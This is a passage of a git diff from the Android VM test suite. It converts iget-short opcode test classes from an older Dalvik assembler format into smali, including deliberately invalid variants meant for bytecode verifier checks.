-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.smali
new file mode 100644
index 0000000..e66cf39
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_16.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.d
deleted file mode 100644
index 6a717be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_17.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_17
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.smali
new file mode 100644
index 0000000..81e2780
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_17.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.d
deleted file mode 100644
index 70dda5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_18.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_18
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.smali
new file mode 100644
index 0000000..010639b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_18.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.d
deleted file mode 100644
index cdaa952..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_19.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.smali
new file mode 100644
index 0000000..92892bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_19.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.d
deleted file mode 100644
index 5568f60..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_20.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.smali
new file mode 100644
index 0000000..44f8259
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_20.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d
deleted file mode 100644
index f3298fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_21.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_short/TestStubs/<init>()V
-
-       iget-short v1, v0, dot.junit.opcodes.iget_short.TestStubs.TestStubProtectedField S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.smali
new file mode 100644
index 0000000..716542e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_21.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_short/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/TestStubs;-><init>()V
+
+       iget-short v1, v0, Ldot/junit/opcodes/iget_short/TestStubs;->TestStubProtectedField:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.d
deleted file mode 100644
index 0de7441..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_3.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_3
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v3, v2, dot.junit.opcodes.iget_short.d.T_iget_short_3.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.smali
new file mode 100644
index 0000000..f1b86c9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_3.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v3, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_3;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.d
deleted file mode 100644
index bc8bc9f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_30.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_30
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget_short/d/T_iget_short_30
-    iget-short v1, v0, dot.junit.opcodes.iget_short.d.T_iget_short_30.st_i1 S
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.smali
new file mode 100644
index 0000000..fba2d2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_30.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_30;
+    iget-short v1, v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_30;->st_i1:S
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.d
deleted file mode 100644
index af8a395..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_31.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_31
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget_short.d.T_iget_short_31.st_i1 S
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.smali
new file mode 100644
index 0000000..cf34bf9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_31.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_short/d/T_iget_short_31;->st_i1:S
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.d
deleted file mode 100644
index 5cde5bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_35.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 2
-       iget-short v0, v1, dot.junit.opcodes.iget_short.TestStubs.TestStubProtectedField S
-       return v0
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.smali
new file mode 100644
index 0000000..4906be2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_35.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_35.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 2
+       iget-short v0, v1, Ldot/junit/opcodes/iget_short/TestStubs;->TestStubProtectedField:S
+       return v0
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.d
deleted file mode 100644
index 9e2ffb6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_4.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_4
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_4.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.smali
new file mode 100644
index 0000000..3ba12f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_4.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_4;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.d
deleted file mode 100644
index ac92c40..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_5.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_5
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_5.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.smali
new file mode 100644
index 0000000..dfaf31c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_5.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_5;->i1:S
+       return v1
+.end method
+
+
